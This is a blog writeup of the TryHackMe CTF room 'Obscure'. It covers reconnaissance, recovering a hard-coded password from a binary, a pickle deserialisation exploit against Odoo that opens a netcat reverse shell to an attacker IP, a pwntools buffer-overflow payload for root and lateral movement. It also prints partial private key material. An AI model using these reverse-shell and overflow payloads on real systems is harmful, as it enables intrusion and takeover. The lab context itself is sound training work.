Writeup for the medium ranked THM room Obscure

Posted on Jul 24, 2023

summer

The sun is shining outside. But there’s always a few hours to spend on what you really like. I have been competing hard at Hack The Box for a few years. Just after I made it to the magic count of 100 hacked boxes I also reached number one on the Swedish chart. I tried to keep that position for a while but came to the insight that I keept doing stuff that did not further enhance my knowledge, just keeping my position in a chart. So now Im taking a short break from that and I just cherry pick boxes, rooms and CTF:s I like to do.

obscure

So here we are with this writeup that describes how we approached the room Obscure from Try Hack Me (https://tryhackme.com/room/obscured). This room is based on Linux and it is ranked medium. Tools and techniques used in this hack are Nmap, Dirb, Firefox, nikto, Curl, Python, pwntools and pickle.

The room is described as a CTF room focused on web and binary exploitation. Sounds like stuff I like. When I join the room and start it up im greeted with an ip-address.

info

That’s about all information about this room that we get. So it’s about time to start scanning it to see what it’s all about.

Scanning

Scanning network with Nmap

Let’s go with my standard Nmap scanning.

┌──(root㉿b35b6fbda409)-[/]
└─# nmap -sC -sV -A 10.10.159.135
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 18:11 UTC
Nmap scan report for 10.10.159.135
Host is up (0.050s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.8.68
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 65534    65534        4096 Jul 24  2022 pub
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:91:5c:43:c1:81:19:6e:0a:28:e8:16:78:c6:d5:c0 (RSA)
|   256 db:f8:7e:ca:5e:24:31:f9:07:57:8b:8d:74:cb:fe:c1 (ECDSA)
|_  256 40:6e:c3:a8:fb:df:15:d1:2b:9c:0f:c5:60:ba:e0:b6 (ED25519)
80/tcp open  http    Werkzeug httpd 0.9.6 (Python 2.7.9)
| http-cookie-flags: 
|   /: 
|     session_id: 
|_      httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/23%OT=21%CT=1%CU=36666%PV=Y%DS=3%DC=T%G=Y%TM=64BD6D5
OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)SEQ
OS:(SP=104%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O1=M505ST11NW7%O2=M505ST11
OS:NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=M505ST11)WIN(W1=68D
OS:F%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M50
OS:5NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(
OS:R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)

Network Distance: 3 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT      ADDRESS
1   0.05 ms  172.17.0.1
2   51.25 ms 10.11.0.1
3   51.48 ms 10.10.159.135

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.19 seconds

There are the usual suspects SSH (22) and HTTP (80), but there’s also FTP (21). We are dealing wit an FTP-server based on vsftp. I choose not to dig deeper in possible vulnerabilities of that server for now since it seems to support anonymous login.

Scanning the FTP site

> ftp 10.10.159.135
Connected to 10.10.203.207.
220 (vsFTPd 3.0.3)
Name (10.10.159.135:f1rstr3am): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

No problem logging in as anonymous. Let’s see what we can find here.

ftp> ls
229 Entering Extended Passive Mode (|||28353|)
150 Here comes the directory listing.
drwxr-xr-x    2 65534    65534        4096 Jul 24  2022 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||13633|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             134 Jul 24  2022 notice.txt
-rwxr-xr-x    1 0        0            8856 Jul 22  2022 password
226 Directory send OK.

There is a directory called pub containing two files called notice.txt and password. Password is 8856 bytes long so I guess it’s not simple textfile with one password. But I better download them so I can find out.

ftp> get notice.txt
local: notice.txt remote: notice.txt
229 Entering Extended Passive Mode (|||25288|)
150 Opening BINARY mode data connection for notice.txt (134 bytes).
100% |***********************************|   134      571.43 KiB/s    00:00 ETA
226 Transfer complete.
134 bytes received in 00:00 (2.68 KiB/s)
ftp> get password
local: password remote: password
229 Entering Extended Passive Mode (|||41949|)
150 Opening BINARY mode data connection for password (8856 bytes).
100% |***********************************|  8856        6.00 MiB/s    00:00 ETA
226 Transfer complete.
8856 bytes received in 00:00 (171.93 KiB/s)
ftp> exit
221 Goodbye.

First of all let’s take a look at notice.txt.

> cat notice.txt
From antisoft.thm security,


A number of people have been forgetting their passwords so we've made a temporary password application.

Ok they made their own application for keeping passwords. I can see where this is going. This probably means that password is a binary executable. Let’s just verify that this is the case.

> file password
password: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=97fe26005f73d7475722fa1ed61671e82aa481ff, not stripped

Yes that’s it. I kind of developed a sense for just how much to dig in a certain stage. Following that methodology I choose to save this binary for later and concentrate on staying in the stage of scanning. Now its time for the http server. First of all I scan it with Nikto to see if there are some obvious vulnerabilities.

Scanning the http server with Nikto

┌──(root㉿b35b6fbda409)-[/]
└─# nikto -h http://10.10.159.135
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.10.159.135
+ Target Hostname:    10.10.159.135
+ Target Port:        80
+ Start Time:         2023-07-23 18:15:00 (GMT0)
---------------------------------------------------------------------------
+ Server: Werkzeug/0.9.6 Python/2.7.9
+ /: Cookie session_id created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Python/2.7.9 appears to be outdated (current is at least 3.9.6).
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8074 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2023-07-23 18:30:02 (GMT0) (902 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

It’s runing werkzeug and a very old version of Python. Nikto also talks about a wp-config.php containing credentials but my guess is that it’s a false positive since I have not found any wordpress installation here. Let’s move on and scan the web site with dirb.

Scanning the http server with dirb

┌──(root㉿b35b6fbda409)-[/]
└─# dirb http://10.10.159.135

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Jul 23 18:26:53 2023
URL_BASE: http://10.10.159.135/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.159.135/ ----
+ http://10.10.159.135/logo (CODE:200|SIZE:13176)                              
+ http://10.10.159.135/web (CODE:303|SIZE:227)                                 
                                                                               
-----------------
END_TIME: Sun Jul 23 18:35:30 2023
DOWNLOADED: 4612 - FOUND: 2

There’s not much fun there. Let’s go to the /web endpoint and see what that looks like.

Examining the obscure web application

login

Ok so we see a login form and it says it’s powered by odoo. Some fast googleing suggests that odoo is a CRM tool. Perhaps we can find som vulnerabilities in there but since we have that binary called password perhaps now is the time to look more closely on it using Ghidra. After all we could use a password.

Reverse engineering the password binary

ghidra

That main() method looks rather lame, lets see what the pass() fuction looks like.

void pass(char *param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  undefined8 local_28;
  undefined8 local_20;
  undefined2 local_18;
  undefined local_16;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = 0x6150657275636553;
  local_20 = 0x323164726f777373;
  local_18 = 0x2133;
  local_16 = 0;
  iVar1 = strcmp(param_1,"971234596");
  if (iVar1 == 0) {
    printf("remember this next time \'%s\'\n",&local_28);
  }
  else {
    puts("Incorrect employee id");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Well that’s just tragic. This application seems to have the password hard coded into it. We could just decode these lines of hex into ascii to find it out.

  local_28 = 0x6150657275636553;
  local_20 = 0x323164726f777373;

But there’s also this line strcmp(param_1,"971234596"); The password is printed of we just give it the employee id of 971234596. Let’s just run the application and do that.

> chmod +x password
> ./password
Password Recovery
Please enter your employee id that is in your email
971234596
remember this next time 'SecurePassword123!'

This is just a bit stupid simple but let’s continue anyway. We do have a password that we could try to use in the web application. So let’s go ahead. Do you remember that notice we downloaded earlier?

From antisoft.thm security,


A number of people have been forgetting their passwords so we've made a temporary password application.

Let’s try to log in as [email protected] using the password SecurePassword123!.

Gaining Access

Examine the web application

login

That did the trick. We are now logged in to the web application as admin. Let’s see if we can find som vulnerabilities inside.

version

After browsing around in the application I found this page. There it says exactly what version of odoo is used Odoo 10.0-20190816 (Community Edition) And that version seems to be pretty old. Just a quick google again and I found CVE-2017-10803 with a proof of cancept described here.

Exploiting Odoo to get a reverse shell

First of all we need to generate a pickle using this code:

import cPickle
import os
import base64
import pickletools

class Exploit(object):
	def __reduce__(self):
		return (os.system, (("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.11.8.68 1337 >/tmp/f"),))
	
with open("exploit.pickle", "wb") as f:

As we could see before werkezeug runs on a really old Python 2.7 and so should the exploit. I do HATE messing with old Python verisons but since this seems to use standard modules perhaps we will be fine. Let’s try to create a pickle file.

> python2.7 exploit.py
> ls -la exploit.pickle
-rw-rw-r-- 1 f1rstr3am f1rstr3am 69 Jul 23 21:26 exploit.pickle

Well so far so good we got our evil pickle file that sould give us a reverse shell if we are lucky. Now I just follow the instructions for the poc:

In order to exploit the vulnerability, you should navigate to the Apps page (the link is in the navigation bar at the top and search for and install “Database Anonymization” in the search bar. We have to deselect the “Apps” filter in the search bar for it to show up.

install app

Once we have the module installed, we navigate to the settings page and select “Anonymize database” under “Database anonymization” and click on the “Anonymize Database” button. Next, we refresh the page and navigate to the same page under settings. We upload the “exploit.pickle” file generated by our script.

install app

Before I push the “Reverse Anonymization Button” let’s start our net cat listener.

> nc -lvnp 1337
Listening on 0.0.0.0 1337

Now I click on “Reverse the Database Anonymization” button. We should have a reverse shell.

Connection received on $ nc -w 3 10.11.8.68 1338 < ret
10.10.203.207 50738
sh: 0: can't access tty; job control turned off
$ 

That worked just fine. We got ourselves a foothold. Now we need to dig deeper.

Examine the Odoo host

$ ls -la
total 88
drwxr-xr-x   1 root root 4096 Jul 26  2022 .
drwxr-xr-x   1 root root 4096 Jul 26  2022 ..
-rwxr-xr-x   1 root root    0 Jul 23  2022 .dockerenv
drwxr-xr-x   1 root root 4096 Jul 23  2022 bin
drwxr-xr-x   2 root root 4096 Jun 14  2018 boot
drwxr-xr-x   5 root root  340 Jul 23 18:07 dev
-rwxrwxr-x   1 root root 1028 Oct 17  2019 entrypoint.sh
drwxr-xr-x   1 root root 4096 Jul 23  2022 etc
drwxr-xr-x   2 root root 4096 Jun 14  2018 home
drwxr-xr-x   1 root root 4096 Oct 17  2019 lib
drwxr-xr-x   2 root root 4096 Oct 14  2019 lib64
drwxr-xr-x   2 root root 4096 Oct 14  2019 media
drwxr-xr-x   1 root root 4096 Oct 17  2019 mnt
drwxr-xr-x   2 root root 4096 Oct 14  2019 opt
dr-xr-xr-x 142 root root    0 Jul 23 18:07 proc
-rwsr-xr-x   1 root root 8864 Jul 23  2022 ret
drwx------   1 root root 4096 Jul 23  2022 root
drwxr-xr-x   1 root root 4096 Oct 17  2019 run
drwxr-xr-x   1 root root 4096 Oct 17  2019 sbin
drwxr-xr-x   2 root root 4096 Oct 14  2019 srv
dr-xr-xr-x  13 root root    0 Jul 23 18:07 sys
drwxrwxrwt   1 root root 4096 Jul 23 19:47 tmp

Well looks very much like we are inside a Docker container. And just there on / we have an executable called ret that has the SUID bit. Let’s download it by staring a new listener locally:

> nc -l -p 1338 > ret

And on our exploited system let’s use netcat to send ret to our new listener.

$ nc -w 3 10.11.8.68 1338 < ret

Now we have the file locally let’s see what kind of protections that are enabled.

Reverse engineering the ret binary

[*] '/home/f1rstr3am/Documents/obscure/ret'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

There’s no PIE and no Canary. I loaded the ret binary into Ghidra and found 3 interesting instructions. First of all there’s main().

undefined8 main(void)

{
  vuln();
  return 0;
}

And main() simply calls a function called vuln():

void vuln(void)

{
  char local_88 [128];
  
  fwrite("Exploit this binary to get on the box!\nWhat do you have for me?\n",1,0x40,stdout);
  fflush(stdout);
  gets(local_88);
  return;
}

The vuln() function uses gets() to read into a buffer of 128 bytes. That is obviously exploitable by a buffer overflow. There is also a third function called win().

void win(void)

{
  fwrite("congrats, you made it on the box",1,0x20,stdout);
  system("/bin/sh");
  return;
}

That function spwans a shell. Well this is starting to look like some really basic CTF-stuff here. I like things as close to real life as possible so this is not what I want to play around with. But since I got this far let’s continue and find our first flag.

I think I know how to exploit that binary and become root in the container but first of all let’s upgrade my shell by entering this command in the reverse shell.

Upgrade the shell

SHELL=/bin/bash script -q /dev/null

Press ctrl + z to send the shell to the background and then give this command to get it to the foreground again.

stty raw -echo && fg

Press enter and we are back againg, with a much nicer shell!

odoo@b8a9bbf1f380:/$ 

While we are at it let’s see if there is some flag here?

odoo@b8a9bbf1f380:/$ find / -name flag.txt
find: `/root': Permission denied
/var/lib/odoo/flag.txt
find: `/var/cache/ldconfig': Permission denied
find: `/proc/tty/driver': Permission denied
find: `/etc/ssl/private': Permission denied

Well there it is.

odoo@b8a9bbf1f380:/$ cat /var/lib/odoo/flag.txt
THM{deadbeefdeadbeefdeadbeefdeadbeef}

Privelege escalation to root in the container

It’s about time we became root in this container. We need to find out what offset we should use to exploit that buffer overflow in the ret binary. First of all let’s generate a cyclic pattern.

> cyclic 256
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac

Now start gdb and run the binary and feeding it with the cyclic pattern.

> gdb ret
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from ret...
(No debugging symbols found in ret)
gef➤  r
Starting program: /home/f1rstr3am/Documents/obscure/ret 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc1000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Exploit this binary to get on the box!
What do you have for me?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac

Program received signal SIGSEGV, Segmentation fault.
0x00000000004006bd in vuln ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007fffffffde00  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$rbx   : 0x0               
$rcx   : 0x007ffff7e19aa0  →  0x00000000fbad2288
$rdx   : 0x1               
$rsp   : 0x007fffffffde88  →  "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[...]"
$rbp   : 0x6261616962616168 ("haabiaab"?)
$rsi   : 0x1               
$rdi   : 0x007ffff7e1ba80  →  0x0000000000000000
$rip   : 0x000000004006bd  →  <vuln+72> ret 
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x77              
$r11   : 0x246             
$r12   : 0x007fffffffdfa8  →  0x007fffffffe2e8  →  "/home/f1rstr3am/Documents/obscure/ret"
$r13   : 0x000000004006be  →  <main+0> push rbp
$r14   : 0x0               
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x007fffffffde88│+0x0000: "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[...]"	 ← $rsp
0x007fffffffde90│+0x0008: "laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxa[...]"
0x007fffffffde98│+0x0010: "naaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabza[...]"
0x007fffffffdea0│+0x0018: "paabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacca[...]"
0x007fffffffdea8│+0x0020: "raabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaacea[...]"
0x007fffffffdeb0│+0x0028: "taabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacga[...]"
0x007fffffffdeb8│+0x0030: "vaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaacia[...]"
0x007fffffffdec0│+0x0038: "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4006b6 <vuln+65>        call   0x400510 <gets@plt>
     0x4006bb <vuln+70>        nop    
     0x4006bc <vuln+71>        leave  
 →   0x4006bd <vuln+72>        ret    
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret", stopped 0x4006bd in vuln (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006bd → vuln()
────────────────────────────────────────────────────────────────────────────────
gef➤  x $rsp
0x7fffffffde88:	0x6261616a
gef➤  q
> cyclic -l 0x6261616a

136

We got ourselves that SIGSEGV and using what $rsp is pointing at we can calculate at what offset we should start or ROP. If we execute that binary feeding it 136 bytes of garbage and then an address to the code we want to execute. Obviously we want that address to be the win() function. Now we need to know the address of win().

> objdump -t ret

ret:     file format elf64-x86-64

SYMBOL TABLE:
0000000000400238 l    d  .interp	0000000000000000              .interp
0000000000400254 l    d  .note.ABI-tag	0000000000000000              .note.ABI-tag
0000000000400274 l    d  .note.gnu.build-id	0000000000000000              .note.gnu.build-id
0000000000400298 l    d  .gnu.hash	0000000000000000              .gnu.hash
00000000004002c0 l    d  .dynsym	0000000000000000              .dynsym
0000000000400380 l    d  .dynstr	0000000000000000              .dynstr
00000000004003da l    d  .gnu.version	0000000000000000              .gnu.version
00000000004003f0 l    d  .gnu.version_r	0000000000000000              .gnu.version_r
0000000000400410 l    d  .rela.dyn	0000000000000000              .rela.dyn
0000000000400440 l    d  .rela.plt	0000000000000000              .rela.plt
00000000004004b8 l    d  .init	0000000000000000              .init
00000000004004e0 l    d  .plt	0000000000000000              .plt
0000000000400540 l    d  .plt.got	0000000000000000              .plt.got
0000000000400550 l    d  .text	0000000000000000              .text
0000000000400754 l    d  .fini	0000000000000000              .fini
0000000000400760 l    d  .rodata	0000000000000000              .rodata
00000000004007dc l    d  .eh_frame_hdr	0000000000000000              .eh_frame_hdr
0000000000400820 l    d  .eh_frame	0000000000000000              .eh_frame
0000000000600e10 l    d  .init_array	0000000000000000              .init_array
0000000000600e18 l    d  .fini_array	0000000000000000              .fini_array
0000000000600e20 l    d  .jcr	0000000000000000              .jcr
0000000000600e28 l    d  .dynamic	0000000000000000              .dynamic
0000000000600ff8 l    d  .got	0000000000000000              .got
0000000000601000 l    d  .got.plt	0000000000000000              .got.plt
0000000000601040 l    d  .data	0000000000000000              .data
0000000000601050 l    d  .bss	0000000000000000              .bss
0000000000000000 l    d  .comment	0000000000000000              .comment
0000000000000000 l    df *ABS*	0000000000000000              crtstuff.c
0000000000600e20 l     O .jcr	0000000000000000              __JCR_LIST__
0000000000400580 l     F .text	0000000000000000              deregister_tm_clones
00000000004005c0 l     F .text	0000000000000000              register_tm_clones
0000000000400600 l     F .text	0000000000000000              __do_global_dtors_aux
0000000000601058 l     O .bss	0000000000000001              completed.7594
0000000000600e18 l     O .fini_array	0000000000000000              __do_global_dtors_aux_fini_array_entry
0000000000400620 l     F .text	0000000000000000              frame_dummy
0000000000600e10 l     O .init_array	0000000000000000              __frame_dummy_init_array_entry
0000000000000000 l    df *ABS*	0000000000000000              ret2win.c
0000000000000000 l    df *ABS*	0000000000000000              crtstuff.c
0000000000400950 l     O .eh_frame	0000000000000000              __FRAME_END__
0000000000600e20 l     O .jcr	0000000000000000              __JCR_END__
0000000000000000 l    df *ABS*	0000000000000000              
0000000000600e18 l       .init_array	0000000000000000              __init_array_end
0000000000600e28 l     O .dynamic	0000000000000000              _DYNAMIC
0000000000600e10 l       .init_array	0000000000000000              __init_array_start
00000000004007dc l       .eh_frame_hdr	0000000000000000              __GNU_EH_FRAME_HDR
0000000000601000 l     O .got.plt	0000000000000000              _GLOBAL_OFFSET_TABLE_
0000000000400750 g     F .text	0000000000000002              __libc_csu_fini
0000000000000000  w      *UND*	0000000000000000              _ITM_deregisterTMCloneTable
0000000000601050 g     O .bss	0000000000000008              stdout@@GLIBC_2.2.5
0000000000601040  w      .data	0000000000000000              data_start
0000000000400675 g     F .text	0000000000000049              vuln
0000000000601050 g       .data	0000000000000000              _edata
0000000000400754 g     F .fini	0000000000000000              _fini
0000000000000000       F *UND*	0000000000000000              system@@GLIBC_2.2.5
0000000000000000       F *UND*	0000000000000000              __libc_start_main@@GLIBC_2.2.5
0000000000601040 g       .data	0000000000000000              __data_start
0000000000000000  w      *UND*	0000000000000000              __gmon_start__
0000000000601048 g     O .data	0000000000000000              .hidden __dso_handle
0000000000400760 g     O .rodata	0000000000000004              _IO_stdin_used
0000000000000000       F *UND*	0000000000000000              gets@@GLIBC_2.2.5
00000000004006e0 g     F .text	0000000000000065              __libc_csu_init
0000000000000000       F *UND*	0000000000000000              fflush@@GLIBC_2.2.5
0000000000400646 g     F .text	000000000000002f              win
0000000000601060 g       .bss	0000000000000000              _end
0000000000400550 g     F .text	000000000000002a              _start
0000000000601050 g       .bss	0000000000000000              __bss_start
00000000004006be g     F .text	0000000000000015              main
0000000000000000  w      *UND*	0000000000000000              _Jv_RegisterClasses
0000000000000000       F *UND*	0000000000000000              fwrite@@GLIBC_2.2.5
0000000000601050 g     O .data	0000000000000000              .hidden __TMC_END__
0000000000000000  w      *UND*	0000000000000000              _ITM_registerTMCloneTable
00000000004004b8 g     F .init	0000000000000000              _init

It looks like win() is located at address 0x400646. Now let’s write some exploit code using pwntools.

from pwn import *

payload = b'A'*136 + p64(0x400646)

f = open('/home/f1rstr3am/Documents/obscure/payload.bin', 'wb')
f.write(payload)
f.close

This generates a payload and saves it to a file named payload.bin. Let’s start up a web server so we can transfer it to our target.

> python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

And from the target machine we use curl to download our payload.

odoo@b8a9bbf1f380:/$ cd /tmp                     
odoo@b8a9bbf1f380:/tmp$ curl 10.11.8.68:8000/payload.bin -o payload.bin
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   144  100   144    0     0   1180      0 --:--:-- --:--:-- --:--:--  1180

At this point I had some problems getting disconnected from the shell just as it spawned. But then I remembered and old trik with cat that helps keeping stdio open. it looks like this.

odoo@b8a9bbf1f380:/tmp$ (cat payload.bin; cat) | ../ret
Exploit this binary to get on the box!
What do you have for me?
 
whoami
root

And just like that we are now root within the docker container.

cd /root
ls
root.txt
cat root.txt
Well done,my friend, you rooted a docker container.

And…. there’s more very CTF:ish stuff. I guess we need to break out of the container somehow. After diging around inside the container I could not really find a simple break out. So I started to examine the network.

Lateral movement to the host

ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

We have ip-address 172.17.0.3. That sounds very much like the docker network. Perhaps there is something interesting at 172.17.0.1 which could be the host. First I thought of using nc to scan for ports until I realised that nmap is available at the target. STUPID.

nmap 172.17.0.1

Starting Nmap 6.47 ( http://nmap.org ) at 2023-07-23 21:24 UTC
WARNING: Running Nmap setuid, as you are doing, is a major security risk.

Nmap scan report for ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1)
Host is up (0.000015s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
4444/tcp open  krb524
MAC Address: 02:42:96:09:59:3A (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.45 seconds

That looks very much like the original host that we scanned but with one more port open. I wonder what’s running behind 4444?

nc 172.17.0.1 4444
Exploit this binary to get on the box!
What do you have for me?

That looks like the same stupid binary again. We should be able to use the same payload again via net cat to move over to this other host.

odoo@b8a9bbf1f380:/tmp$ (cat payload.bin; cat) | nc 172.17.0.1 4444 
Exploit this binary to get on the box!
What do you have for me?

whoami
zeeshan

And just like that we have now moved over to aother machine and we have a new user. This is probably the host of the container that we came from. Let’s dig deeper.

cd ~
ls -la
total 68
drwxr-xr-x 8 zeeshan zeeshan 4096 Apr 30 20:35 .
drwxr-xr-x 3 root    root    4096 Jul 20  2022 ..
lrwxrwxrwx 1 zeeshan zeeshan    9 Jul 22  2022 .bash_history -> /dev/null
-rw-r--r-- 1 zeeshan zeeshan  220 Jul 20  2022 .bash_logout
-rw-r--r-- 1 zeeshan zeeshan 3771 Jul 20  2022 .bashrc
drwx------ 3 zeeshan zeeshan 4096 Jul 20  2022 .cache
drwxr-x--- 3 zeeshan zeeshan 4096 Jul 22  2022 .config
drwx------ 3 zeeshan zeeshan 4096 Jul 25  2022 .gnupg
drwx------ 3 zeeshan zeeshan 4096 Jul 20  2022 .local
drwxrwxr-x 2 zeeshan zeeshan 4096 Jul 20  2022 .nano
-rw-r--r-- 1 zeeshan zeeshan  655 Jul 20  2022 .profile
lrwxrwxrwx 1 zeeshan zeeshan    9 Jul 22  2022 .python_history -> /dev/null
-rwxrwxr-x 1 zeeshan zeeshan 8864 Jul 23  2022 ret
-rw-rw-r-- 1 zeeshan zeeshan   66 Jul 20  2022 .selected_editor
drwx------ 2 zeeshan zeeshan 4096 Jul 25  2022 .ssh
-rw-r--r-- 1 zeeshan zeeshan    0 Jul 20  2022 .sudo_as_admin_successful
-rw-rw-r-- 1 zeeshan zeeshan   38 Jul 26  2022 user.txt
-rw------- 1 root    root    1287 Jul 24  2022 .viminfo
cat user.tst
cat user.txt
THM{deadbeefdeadbeefdeadbeefdeadbeef}

Well we got ourselves another flag. This architecture does not make any sense but I guess I have to accept that this is a very CTF:ish room. We are close to root now I guess so let’s move on and try to get a stable shell.

cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAxuNhK456dD+WXwoMLkfzQPvBsbnN27Aq8NfCVp4625XyoXi+
i2g2nYNOarOGX+/q/M0UmoObiaJOPLLig9oFm8ZPxHtmVgOTX2Go1pDWotEHZHL3
